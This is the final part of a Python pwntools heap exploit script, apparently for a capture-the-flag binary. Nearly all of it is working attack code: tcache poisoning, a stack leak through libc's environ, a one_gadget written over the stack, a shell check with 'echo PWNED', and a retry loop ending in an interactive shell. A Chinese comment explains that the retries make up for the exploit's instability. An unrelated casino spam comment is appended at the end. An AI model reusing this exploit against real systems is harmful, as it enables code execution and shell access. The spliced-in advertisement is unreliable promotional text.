Set(8, 3, b"D"*8)
New(9, 3)
Set(9, 3, b"A"*8)
Set(9, 6, b"B"*8)
Set(9, 9, b"C"*8)
Set(9, 0, p64(0x251))
New(10, 0xd41//0xc)
# tcache poisoning (KEEP original constants)
tcache_addr = ((heap_leak - 0x21) << 12) + 0x10
Set(9, 0, p64(0x500000251))
Set(8, 5, p64(tcache_addr ^ (heap_leak + 0x22)))
New(11, (0x231-0x10)//0xc)
New(12, (0x231-0x10)//0xc)
# write environ address in tcache directly
environ_addr = libc_base + libc.sym.environ
Set(12, 0, p64(0x1111111111111111))
Set(12, 13, p64(environ_addr - 0x28))
# stack leak
New(13, 7)
Set(13, 7, b"A"*8)
Set(13, 1, b"B"*8)
Set(13, 2, b"C"*8)
Get(13, 0)
io.recvuntil(b"Value: ", timeout=2.0)
stack_leak = u64(io.recvn(6) + b"\x00"*2)
log.info(f"[stack] leak={hex(stack_leak)}")
# write null in stack for one_gadget
Set(12, 1, p64(0x1111111111111111))
Set(12, 17, p64(stack_leak - 0x18)) # for one_gadget
New(14, 15)
# write one gadget in stack
one_gadget = libc_base + 0x583dc # posix_spawn gadget (original)
Set(12, 2, p64(0x1111111111111111))
Set(12, 21, p64(stack_leak - 0x1e8))
New(15, 23)
Set(15, 0, b"A"*8)
Set(15, 32767, p64(one_gadget))
# start one gadget
Exit()
# quick shell check
try:
sleep(0.2)
io.sendline(b"echo PWNED")
data = io.recvuntil(b"PWNED", timeout=2.0)
if b"PWNED" not in data:
raise EOFError("No shell echo")
except Exception:
raise
log.success("Shell obtained.")
return io
except Exception as e:
try:
io.close()
except Exception:
pass
return None
# -------- retry until success (without changing original payload data) --------
if __name__ == "__main__":
attempt = 1
while True:
log.info(f"Attempt #{attempt}")
tube = run_once()
if tube is not None:
log.success(f"Exploit succeeded on attempt #{attempt}")
tube.interactive()
break
log.warning(f"Attempt #{attempt} failed, retrying...")
attempt += 1
这个exp堆利用脚本不是“天然 100% 稳定”,因为它踩了多处“堆状态刚刚好”的前提,所以我加了失败重试的循环判定







It’s smart to be extra cautious with online casinos – security is key! Seeing platforms like Arion Play emphasize responsible gaming & risk management is reassuring. Check out arion play slot download options, but always verify the site’s legitimacy first! A little diligence goes a long way.